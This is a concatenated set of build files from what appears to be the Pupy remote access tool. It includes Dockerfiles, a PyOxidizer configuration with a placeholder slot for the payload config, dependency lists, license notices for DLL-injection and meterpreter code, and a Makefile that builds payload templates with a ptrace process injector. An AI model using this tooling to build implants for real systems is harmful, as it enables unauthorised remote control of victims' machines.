    410: 'Gone',
    411: 'Length Required',
    412: 'Precondition Failed',
    413: 'Request Entity Too Large',
    414: 'Request URI Too Long',
    415: 'Unsupported Media Type',
    416: 'Requested Range Not Satisfiable',
    417: 'Expectation Failed',
    422: 'Unprocessable Entity',
    423: 'Locked',
    424: 'Failed Dependency',
    426: 'Upgrade Required',

    # Server Error
    500: 'Internal Server Error',
    501: 'Not Implemented',
    502: 'Bad Gateway',
    503: 'Service Unavailable',
    504: 'Gateway Timeout',
    505: 'HTTP Version Not Supported',
    507: 'Insufficient Storage',
    510: 'Not Extended',
}


================================================
FILE: client/pyoxidizer-build/linux-builder.Dockerfile
================================================
# Debian Jessie.
FROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0

RUN groupadd -g 1000 build && \
    useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \
    mkdir /tools && \
    chown -R build:build /build /tools

ENV HOME=/build \
    SHELL=/bin/bash \
    USER=build \
    LOGNAME=build \
    HOSTNAME=builder \
    DEBIAN_FRONTEND=noninteractive

CMD ["/bin/bash", "--login"]
WORKDIR '/build'

RUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \
      echo "deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main"; \
    done > /etc/apt/sources.list && \
    ( echo 'quiet "true";'; \
      echo 'APT::Get::Assume-Yes "true";'; \
      echo 'APT::Install-Recommends "false";'; \
      echo 'Acquire::Check-Valid-Until "false";'; \
      echo 'Acquire::Retries "5";'; \
    ) > /etc/apt/apt.conf.d/99builder

RUN apt-get update
RUN apt-get install --force-yes \
  ca-certificates \
  curl \
  file \
  gcc \
  gcc-multilib \
  make \
  musl-tools \
  xz-utils

# The binutils in Jessie is too old to link the python-build-standalone distributions
# due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils.
RUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \
  echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0  binutils.tar.xz' | sha256sum -c - && \
  tar -xf binutils.tar.xz && \
  rm binutils.tar.xz && \
  mkdir binutils-objdir && \
  cd binutils-objdir && \
  ../binutils-2.36.1/configure \
    --build=x86_64-unknown-linux-gnu \
    --prefix=/usr/local \
    --enable-plugins \
    --disable-nls \
    --with-sysroot=/ && \
  make -j `nproc` && \
  make install -j `nproc` && \
  cd .. && \
  rm -rf binutils-objdir

USER build

RUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \
  echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \
  chmod +x rustup-init.sh && \
  ./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \
  ~/.cargo/bin/rustup target add x86_64-unknown-linux-musl

RUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \
  echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \
  tar -xf python.tar.gz && \
  rm python.tar.gz && \
  echo 'export PATH="$HOME/python/bin:$PATH"' >> ~/.bashrc

# Force a snapshot of the Cargo index into the image. This should hopefully
# speed up subsequent operations needing to fetch the index.
RUN ~/.cargo/bin/cargo init cargo-fetch && \
  cd cargo-fetch && \
  echo 'pyembed = "0"' >> Cargo.toml && \
  ~/.cargo/bin/cargo update && \
  cd && \
  rm -rf cargo-fetch



================================================
FILE: client/pyoxidizer-build/pyoxidizer.bzl
================================================
# This file defines how PyOxidizer application building and packaging is
# performed. See PyOxidizer's documentation at
# https://gregoryszorc.com/docs/pyoxidizer/stable/pyoxidizer.html for details
# of this configuration file format.

# Configuration files consist of functions which define build "targets."
# This function creates a Python executable and installs it in a destination
# directory.
def make_exe():
    # Obtain the default PythonDistribution for our build target. We link
    # this distribution into our produced executable and extract the Python
    # standard library from it.
    dist = default_python_distribution()

    # This function creates a `PythonPackagingPolicy` instance, which
    # influences how executables are built and how resources are added to
    # the executable. You can customize the default behavior by assigning
    # to attributes and calling functions.
    policy = dist.make_python_packaging_policy()

    # Enable support for non-classified "file" resources to be added to
    # resource collections.
    policy.allow_files = True

    # Control support for loading Python extensions and other shared libraries
    # from memory. This is only supported on Windows and is ignored on other
    # platforms.
    policy.allow_in_memory_shared_library_loading = True

    # Control whether to generate Python bytecode at various optimization
    # levels. The default optimization level used by Python is 0.
    # policy.bytecode_optimize_level_zero = True
    # policy.bytecode_optimize_level_one = True
    policy.bytecode_optimize_level_two = True

    # Package all available Python extensions in the distribution.
    # policy.extension_module_filter = "all"

    # Package the minimum set of Python extensions in the distribution needed
    # to run a Python interpreter. Various functionality from the Python
    # standard library won't work with this setting! But it can be used to
    # reduce the size of generated executables by omitting unused extensions.
    # policy.extension_module_filter = "minimal"

    # Package Python extensions in the distribution not having additional
    # library dependencies. This will exclude working support for SSL,
    # compression formats, and other functionality.
    # policy.extension_module_filter = "no-libraries"

    # Package Python extensions in the distribution not having a dependency on
    # copyleft licensed software like GPL.
    # policy.extension_module_filter = "no-copyleft"

    # Controls whether the file scanner attempts to classify files and emit
    # resource-specific values.
    # policy.file_scanner_classify_files = True

    # Controls whether `File` instances are emitted by the file scanner.
    # policy.file_scanner_emit_files = False

    # Controls the `add_include` attribute of "classified" resources
    # (`PythonModuleSource`, `PythonPackageResource`, etc).
    # policy.include_classified_resources = True

    # Toggle whether Python module source code for modules in the Python
    # distribution's standard library are included.
    policy.include_distribution_sources = True

    # Toggle whether Python package resource files for the Python standard
    # library are included.
    policy.include_distribution_resources = False

    # Controls the `add_include` attribute of `File` resources.
    policy.include_file_resources = False

    # Controls the `add_include` attribute of `PythonModuleSource` not in
    # the standard library.
    # policy.include_non_distribution_sources = True

    # Toggle whether files associated with tests are included.
    policy.include_test = False

    # Resources are loaded from "in-memory" or "filesystem-relative" paths.
    # The locations to attempt to add resources to are defined by the
    # `resources_location` and `resources_location_fallback` attributes.
    # The former is the first/primary location to try and the latter is
    # an optional fallback.

    # Use in-memory location for adding resources by default.
    policy.resources_location = "in-memory"

    # Use filesystem-relative location for adding resources by default.
    # policy.resources_location = "filesystem-relative:prefix"

    # Attempt to add resources relative to the built binary when
    # `resources_location` fails.
    # policy.resources_location_fallback = "filesystem-relative:prefix"

    # Clear out a fallback resource location.
    policy.resources_location_fallback = None

    # Define a preferred Python extension module variant in the Python distribution
    # to use.
    # policy.set_preferred_extension_module_variant("foo", "bar")

    # Configure policy values to classify files as typed resources.
    # (This is the default.)
    # policy.set_resource_handling_mode("classify")

    # Configure policy values to handle files as files and not attempt
    # to classify files as specific types.
    # policy.set_resource_handling_mode("files")

    # This variable defines the configuration of the embedded Python
    # interpreter. By default, the interpreter will run a Python REPL
    # using settings that are appropriate for an "isolated" run-time
    # environment.
    #
    # The configuration of the embedded Python interpreter can be modified
    # by setting attributes on the instance. Some of these are
    # documented below.
    python_config = dist.make_python_interpreter_config()

    # Make the embedded interpreter behave like a `python` process.
    # python_config.config_profile = "python"

    # Set initial value for `sys.path`. If the string `$ORIGIN` exists in
    # a value, it will be expanded to the directory of the built executable.
    # python_config.module_search_paths = ["$ORIGIN/lib"]

    # Use jemalloc as Python's memory allocator.
    # python_config.allocator_backend = "jemalloc"

    # Use mimalloc as Python's memory allocator.
    # python_config.allocator_backend = "mimalloc"

    # Use snmalloc as Python's memory allocator.
    # python_config.allocator_backend = "snmalloc"

    # Let Python choose which memory allocator to use. (This will likely
    # use the malloc()/free() linked into the program.
    # python_config.allocator_backend = "default"

    # Enable the use of a custom allocator backend with the "raw" memory domain.
    # python_config.allocator_raw = True

    # Enable the use of a custom allocator backend with the "mem" memory domain.
    # python_config.allocator_mem = True

    # Enable the use of a custom allocator backend with the "obj" memory domain.
    # python_config.allocator_obj = True

    # Enable the use of a custom allocator backend with pymalloc's arena
    # allocator.
    # python_config.allocator_pymalloc_arena = True

    # Enable Python memory allocator debug hooks.
    # python_config.allocator_debug = True

    # Automatically calls `multiprocessing.set_start_method()` with an
    # appropriate value when OxidizedFinder imports the `multiprocessing`
    # module.
    # python_config.multiprocessing_start_method = 'auto'

    # Do not call `multiprocessing.set_start_method()` automatically. (This
    # is the default behavior of Python applications.)
    # python_config.multiprocessing_start_method = 'none'

    # Call `multiprocessing.set_start_method()` with explicit values.
    # python_config.multiprocessing_start_method = 'fork'
    # python_config.multiprocessing_start_method = 'forkserver'
    # python_config.multiprocessing_start_method = 'spawn'

    # Control whether `oxidized_importer` is the first importer on
    # `sys.meta_path`.
    # python_config.oxidized_importer = False

    # Enable the standard path-based importer which attempts to load
    # modules from the filesystem.
    python_config.filesystem_importer = False

    # Set `sys.frozen = False`
    # python_config.sys_frozen = False

    # Set `sys.meipass`
    # python_config.sys_meipass = True

    # Write files containing loaded modules to the directory specified
    # by the given environment variable.
    # python_config.write_modules_directory_env = "/tmp/oxidized/loaded_modules"

    # Evaluate a string as Python code when the interpreter starts.
    python_config.run_command = "####---PUPY_CONFIG_COMES_HERE---####"+("#"*(50000-35))

    # Run a Python module as __main__ when the interpreter starts.
    # python_config.run_module = "<module>"

    # Run a Python file when the interpreter starts.
    # python_config.run_filename = "/path/to/file"

    # Produce a PythonExecutable from a Python distribution, embedded
    # resources, and other options. The returned object represents the
    # standalone executable that will be built.
    exe = dist.to_python_executable(
        name="pyoxydizer_pupy",

        # If no argument passed, the default `PythonPackagingPolicy` for the
        # distribution is used.
        packaging_policy=policy,

        # If no argument passed, the default `PythonInterpreterConfig` is used.
        config=python_config,
    )

    # Install tcl/tk support files to a specified directory so the `tkinter` Python
    # module works.
    # exe.tcl_files_path = "lib"

    # Never attempt to copy Windows runtime DLLs next to the built executable.
    # exe.windows_runtime_dlls_mode = "never"

    # Copy Windows runtime DLLs next to the built executable when they can be
    # located.
    # exe.windows_runtime_dlls_mode = "when-present"

    # Copy Windows runtime DLLs next to the build executable and error if this
    # cannot be done.
    # exe.windows_runtime_dlls_mode = "always"

    # Make the executable a console application on Windows.
    # exe.windows_subsystem = "console"

    # Make the executable a non-console application on Windows.
    # exe.windows_subsystem = "windows"

    # Invoke `pip download` to install a single package using wheel archives
    # obtained via `pip download`. `pip_download()` returns objects representing
    # collected files inside Python wheels. `add_python_resources()` adds these
    # objects to the binary, with a load location as defined by the packaging
    # policy's resource location attributes.
    #exe.add_python_resources(exe.pip_download(["pyflakes==2.2.0"]))

    # Invoke `pip install` with our Python distribution to install a single package.
    # `pip_install()` returns objects representing installed files.
    # `add_python_resources()` adds these objects to the binary, with a load
    # location as defined by the packaging policy's resource location
    # attributes.
    #exe.add_python_resources(exe.pip_install(["appdirs"]))



    # Read Python files from a local directory and add them to our embedded
    # context, taking just the resources belonging to the `foo` and `bar`
    # Python packages.
    #exe.add_python_resources(exe.read_package_root(
    #    path="lib/pupy",
    #    packages=["pupy", "pupy.agent"],
    #))
    exe.add_python_resources(exe.read_package_root(
        path=CWD+"/lib",
        packages=["http_parser", "pupy", "pupy.agent", "pupy.network"]
    ))
    exe.add_python_resources(exe.read_package_root(
        path=CWD+"/library_patches_py3",
        packages=["umsgpack"],
    ))

    # Invoke `pip install` using a requirements file and add the collected resources
    # to our binary.
    exe.add_python_resources(exe.pip_install(["-r", CWD+"/requirements.txt"]))

    # Discover Python files from a virtualenv and add them to our embedded
    # context.
    #exe.add_python_resources(exe.read_virtualenv(path="/path/to/venv"))

    # Filter all resources collected so far through a filter of names
    # in a file.
    #exe.filter_resources_from_files(files=["/path/to/filter-file"])

    # Return our `PythonExecutable` instance so it can be built and
    # referenced by other consumers of this target.
    return exe

def make_embedded_resources(exe):
    x=exe.to_embedded_resources()
    print(x)
    return x

def make_install(exe):
    # Create an object that represents our installed application file layout.
    files = FileManifest()

    # Add the generated executable to our install layout in the root directory.
    files.add_python_resource(".", exe)

    return files

def make_msi(exe):
    # See the full docs for more. But this will convert your Python executable
    # into a `WiXMSIBuilder` Starlark type, which will be converted to a Windows
    # .msi installer when it is built.
    return exe.to_wix_msi_builder(
        # Simple identifier of your app.
        "myapp",
        # The name of your application.
        "My Application",
        # The version of your application.
        "1.0",
        # The author/manufacturer of your application.
        "Alice Jones"
    )


# Dynamically enable automatic code signing.
def register_code_signers():
    # You will need to run with `pyoxidizer build --var ENABLE_CODE_SIGNING 1` for
    # this if block to be evaluated.
    if not VARS.get("ENABLE_CODE_SIGNING"):
        return

    # Use a code signing certificate in a .pfx/.p12 file, prompting the
    # user for its path and password to open.
    # pfx_path = prompt_input("path to code signing certificate file")
    # pfx_password = prompt_password(
    #     "password for code signing certificate file",
    #     confirm = True
    # )
    # signer = code_signer_from_pfx_file(pfx_path, pfx_password)

    # Use a code signing certificate in the Windows certificate store, specified
    # by its SHA-1 thumbprint. (This allows you to use YubiKeys and other
    # hardware tokens if they speak to the Windows certificate APIs.)
    # sha1_thumbprint = prompt_input(
    #     "SHA-1 thumbprint of code signing certificate in Windows store"
    # )
    # signer = code_signer_from_windows_store_sha1_thumbprint(sha1_thumbprint)

    # Choose a code signing certificate automatically from the Windows
    # certificate store.
    # signer = code_signer_from_windows_store_auto()

    # Activate your signer so it gets called automatically.
    # signer.activate()


# Call our function to set up automatic code signers.
register_code_signers()

# Tell PyOxidizer about the build targets defined above.
register_target("exe", make_exe)
register_target("resources", make_embedded_resources, depends=["exe"], default_build_script=True)
register_target("install", make_install, depends=["exe"], default=True)
#register_target("msi_installer", make_msi, depends=["exe"])

# Resolve whatever targets the invoker of this configuration file is requesting
# be resolved.
resolve_targets()


================================================
FILE: client/pyoxidizer-build/requirements.txt
================================================
netaddr
pyaes
tinyec @ https://github.com/alxchk/tinyec/archive/master.zip
rsa


================================================
FILE: client/requirements.txt
================================================
pyaes
psutil==5.9.2
rsa==4.0
netaddr==0.7.19
tinyec
poster
win_inet_pton
dnslib
dukpy
zeroconf==0.19.1
https://github.com/alxchk/urllib-auth/archive/master.zip
ushlex; python_version<'3'


================================================
FILE: client/sources-linux-py3/.gitignore
================================================
import-tab.c
import-tab.h
resources_bootloader_pyc.c
resources_library_compressed_string_txt.c
resources_python3x_so.c
resources_libcrypto_so.c
resources_libssl_so.c
resources_zlib_so.c
resources/*
*.pyc
*.o
build/*


================================================
FILE: client/sources-linux-py3/Dockerfile.linux-builder
================================================
FROM debian:buster
RUN apt-get update -y
RUN apt-get upgrade -y
RUN apt-get install -y curl git make build-essential libssl-dev zlib1g-dev \
libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \
libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl libcap-dev libnacl-dev unixodbc libacl1-dev libasound2-dev portaudio19-dev zip
RUN curl https://pyenv.run | bash

ENV HOME="/root"
ENV PYENV_ROOT="$HOME/.pyenv"
ENV PATH="$PYENV_ROOT/bin:$PATH"
RUN echo '#!/bin/bash' >> /init.sh \
    && echo 'eval "$(pyenv init -)"' >> /init.sh \
    && echo 'eval "$(pyenv virtualenv-init -)"' >> /init.sh
COPY docker /tmp/docker
RUN pyenv install 3.10.6 --patch < /tmp/docker/pyenv-setup-build.patch
RUN pyenv global 3.10.6 \
    && pyenv virtualenv 3.10.6 pupy

RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
RUN echo 'pyenv activate pupy' >> /init.sh

RUN chmod +x /init.sh
RUN bash -c "source /init.sh;"
RUN echo '$@' >> /init.sh

ENV TOOLCHAIN_ARCH="amd64"

WORKDIR /build/workspace/project/

ENTRYPOINT ["bash", "/init.sh"]
CMD ["client/sources-linux-py3/build-docker.sh"]



================================================
FILE: client/sources-linux-py3/LICENSES.txt
================================================
The DLL, SO and executable payloads for pupy contains source code from differents projects with differents licenses.
All the files not from one of these projects is under pupy's license (BSD 3-Clause license) except linux-inject (GPLv2).
Maybe I'll just reuse my code from (https://bitbucket.org/alxchk/ptrace-utils/src) but I'm too lasy for that stuff. 
Anyway. Who cares?

These projects include :

----------------------------------------------------------------------------------
-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)
	Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff

	Permission is hereby granted, free of charge, to any person obtaining
	a copy of this software and associated documentation files (the
	"Software"), to deal in the Software without restriction, including
	without limitation the rights to use, copy, modify, merge, publish,
	distribute, sublicense, and/or sell copies of the Software, and to
	permit persons to whom the Software is furnished to do so, subject to
	the following conditions:

	The above copyright notice and this permission notice shall be
	included in all copies or substantial portions of the Software.

	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
	EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
	MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
	NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
	LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
	OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
	WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

----------------------------------------------------------------------------------

-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection
	Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
	All rights reserved.

	Redistribution and use in source and binary forms, with or without modification, are permitted 
	provided that the following conditions are met:

	* Redistributions of source code must retain the above copyright notice, this list of 
	conditions and the following disclaimer.

	* Redistributions in binary form must reproduce the above copyright notice, this list of 
	conditions and the following disclaimer in the documentation and/or other materials provided 
	with the distribution.

	* Neither the name of Harmony Security nor the names of its contributors may be used to
	endorse or promote products derived from this software without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
	FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
	CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
	CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
	SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
	OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
	POSSIBILITY OF SUCH DAMAGE.

----------------------------------------------------------------------------------

-meterpreter (3-clause BSD license)
	Meterpreter is available for use under the following license, commonly known as the
	3-clause (or "modified") BSD license:

	=========================================================================================

	Meterpreter
	-----------

	Copyright (c) 2006-2013, Rapid7 Inc

	Redistribution and use in source and binary forms, with or without modification, are
	permitted provided that the following conditions are met:

	* Redistributions of source code must retain the above copyright notice, this list of
	conditions and the following disclaimer.

	* Redistributions in binary form must reproduce the above copyright notice, this list of
	conditions and the following disclaimer in the documentation and/or other materials
	provided with the distribution.

	* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
	promote products derived from this software without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
	EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
	MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
	THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
	SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
	OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
	HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
	TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
	SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

----------------------------------------------------------------------------------

-linux-inject (GPLv2)

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                             ...

================================================
FILE: client/sources-linux-py3/Makefile
================================================
CC ?= gcc
PYMAJ ?= 3
PYMIN ?= 10

OS ?= $(shell uname -s)
MACH ?= $(shell uname -m)
SUFFIX ?= $(PYMAJ)$(PYMIN).$(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]')

STATIC_LIBZ := -Wl,-Bstatic -lz -Wl,-Bdynamic
# STATIC_LIBZ := -lz

CFLAGS := $(shell pkg-config --cflags python-$(PYMAJ).$(PYMIN)) -I. -I../common -fPIC $(CFLAGS_EXTRA) -pipe -Wall
LDFLAGS := $(LDFLAGS) $(STATIC_LIBZ) -lpthread -ldl -fPIC $(LDFLAGS_EXTRA)
PFLAGS := -OO
PIE ?= -pie

CFLAGS += -D$(OS) -std=gnu99
CFLAGS += -DPYMAJ=$(PYMAJ) -DPYMIN=$(PYMIN)
CFLAGS += -DPYTHON_LIB_NAME="python$(PYMAJ)$(PYMIN).so"

ifeq ($(OPENSSL_LIB_VERSION),)
OPENSSL_LIB_VERSION := 1.0.0
endif

CFLAGS += "-DOPENSSL_LIB_VERSION=\"$(OPENSSL_LIB_VERSION)\""

ifeq ($(LIBPYTHON),)
LIBPYTHON := $(shell /sbin/ldconfig -p  | awk '/libpython$(PYMAJ).$(PYMIN).so/{print $$4}' | head -n 1)
endif

ifeq ($(LIBPYTHON_INC),)
#LIBPYTHON_INC := -I/root/.pyenv/versions/3.10.6/include/python3.10/
endif

ifeq ($(LIBCRYPTO),)
LIBCRYPTO := $(shell /sbin/ldconfig -p  | awk '/libcrypto.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)
endif

ifeq ($(LIBSSL),)
LIBSSL := $(shell /sbin/ldconfig -p  | awk '/libssl.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)
endif


ifeq ($(LIBFFI),)
LIBFFI := $(shell /sbin/ldconfig -p  | awk '/libffi.so.6/{print $$4}' | head -n1)
endif

XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")'

# Compatibility for old well-known platforms
ifneq ($(filter $(MACH), x86_64 i386 i486 i586 i686),)
MACHNAME :=

ifeq ($(ARCH),)
ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64)
endif

ifeq ($(ARCH),64)
NAME := 64
LDFLAGS += -m64
ifeq ($(DEBUG),)
CFLAGS += -fvisibility=hidden
endif
else
NAME := 86
CFLAGS += -D_FILE_OFFSET_BITS=64
endif

NAME := x$(NAME)

else
NAME ?= $(MACH)
FEATURE_INJECTOR :=
endif

CFLAGS += -Iresources/$(MACH) -Iresources

LINUX_INJECT_CFLAGS := -include fixes.h -Iinjector/src/linux

ifneq ($(DEBUG),)
DEBUG_ADD := -debug
CFLAGS += -DDEBUG -O0 -g
LDFLAGS += -g
NAME := $(NAME)d
DEBUG_OBJS := debug.o
$(info BUILD debug with name $(NAME))
else
DEBUG_OBJS :=
CFLAGS += -Os
ifeq ($(OS),Linux)
LDFLAGS += -O1 -Wl,-s -Wl,-x -Wl,--gc-sections -Wl,--no-undefined
LDFLAGS += -Wl,-z,now -Wl,-z,combreloc -Wl,--enable-new-dtags
else
LDFLAGS += -s
endif
$(info BUILD non-debug with name $(NAME))
endif

ifneq ($(DEBUG_USE_OS_PYTHON),)
CFLAGS += -DDEBUG_USE_OS_PYTHON
endif

PYTHON ?= python3
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/

SHARED_OBJS := main_so.o tmplibrary_lmid.o pupy_load.o
SHARED_CFLAGS := -D_PUPY_SO
APP_OBJS := main_exe.o tmplibrary.o pupy_load.o
COMMON_OBJS := daemonize.o decompress.o
LOAD_DEPS := \
	resources/$(MACH)/libssl.c \
	resources/$(MACH)/libcrypto.c \
	resources/$(MACH)/libffi.c \
	resources/$(MACH)/python3x.c \
	resources/$(MACH)/library.c \
	import-tab.h revision.h


ifneq ($(FEATURE_PATHMAP),)
APP_OBJS += ld_hooks.o
SHARED_CFLAGS += -D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\"
LOAD_DEPS += ld_hooks_$(NAME).c
LOAD_SHARED_CFLAGS := \
	-D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\" \
	-D_LD_HOOKS_START=ld_hooks_$(NAME)_c_start \
	-D_LD_HOOKS_SIZE=ld_hooks_$(NAME)_c_size \
	-include "ld_hooks_$(NAME).c"
CFLAGS += -D_FEATURE_PATHMAP
endif

ifneq ($(DEBUG),)
COMMON_OBJS += $(DEBUG_OBJS)
CEXTFLAGS := --debug
endif

ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.o
COMPRESSED = 1
else
CFLAGS += -DUNCOMPRESSED
SUFFIX := unc-$(SUFFIX)
COMPRESSED = 0
endif

ifneq ($(FEATURE_INJECTOR),)
COMMON_OBJS += injector/src/linux/elf.o
COMMON_OBJS += injector/src/linux/injector.o
COMMON_OBJS += injector/src/linux/ptrace.o
COMMON_OBJS += injector/src/linux/remote_call.o
COMMON_OBJS += injector/src/linux/util.o
COMMON_OBJS += fixes.o

CFLAGS += -D_FEATURE_INJECTOR -Iinjector/include
LDFLAGS += -Wl,-wrap,realpath
endif

PUPY_LOAD_DEPS := \
	pupy_load.c \
	resources/$(MACH)/library.c \
	resources/$(MACH)/python3x.c \
	resources/$(MACH)/libssl.c \
	resources/$(MACH)/libcrypto.c \
	resources/$(MACH)/libffi.c \
	import-tab.c revision.h

all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so

revision.h:
	if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \
		else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@

debug.o: ../common/debug.c ../common/debug.h
	$(CC) -c -o $@ $< $(CFLAGS)

resources/$(MACH)/_pupy.so: build_c_ext.py revision.h pupy.c daemonize.c tmplibrary.c decompress.c ld_hooks.c
	$(PYTHON) build_c_ext.py build $(CEXTFLAGS)
	cp -f $(shell echo build/lib.linux-*/_pupy.*) resources/$(MACH)/_pupy.so

# pupy.o: revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h $(PUPY_LOAD_DEPS) resources/$(MACH)/python3x.c 
#	$(CC) -c $(LIBPYTHON_INC) -o $@ $(CFLAGS) $(SHARED_CFLAGS) $<

main_so.o: main_so.c import-tab.h 
	$(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS) 

main_exe.o:	main_exe.c import-tab.h 
	$(CC) $(CFLAGS) -c -o $@ $< 

pupy_load.o: pupy_load.c $(LOAD_DEPS) resources/$(MACH)/_pupy.c import-tab.h Python-dynload-os.h
	$(CC) -c -o $@ $< $(CFLAGS)

tmplibrary.o: tmplibrary.c
	$(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID

tmplibrary_lmid.o: tmplibrary.c
	$(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID

import-tab.c import-tab.h: ../mktab.py
	$(PYTHON) $(PFLAGS) $< UCS4

ifeq ($(UNCOMPRESSED),)
LzmaDec.o: ../common/LzmaDec.c
	$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
endif

resources/$(MACH)/library.txt: ../gen_library_compressed_string.py resources/$(MACH)/library.zip
	$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(MACH)/library.zip

resources/$(MACH)/library.c: ../gen_resource_header.py resources/$(MACH)/library.txt resources/$(MACH)/library.zip
	$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(MACH)/library.txt $@ $(COMPRESSED) $(XZARGS)

ld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS)
	$(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \
		-D_LD_HOOKS_NAME=\"$@\" \
		-Wl,-soname,$@ \
		-Wl,--no-undefined

ld_hooks_$(NAME).c: ../gen_resource_header.py ld_hooks_$(NAME).so
	$(PYTHON) $(PFLAGS) ../gen_resource_header.py ld_hooks_$(NAME).so $@ $(COMPRESSED) $(XZARGS)

injector/%.o: injector/%.c
	$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<

resources/$(MACH)/python$(PYMAJ)$(PYMIN).so: $(LIBPYTHON)
	@mkdir -p resources/$(MACH)
	cp -f $< $@.tmp
	-chmod 600 $@.tmp
	-strip $@.tmp
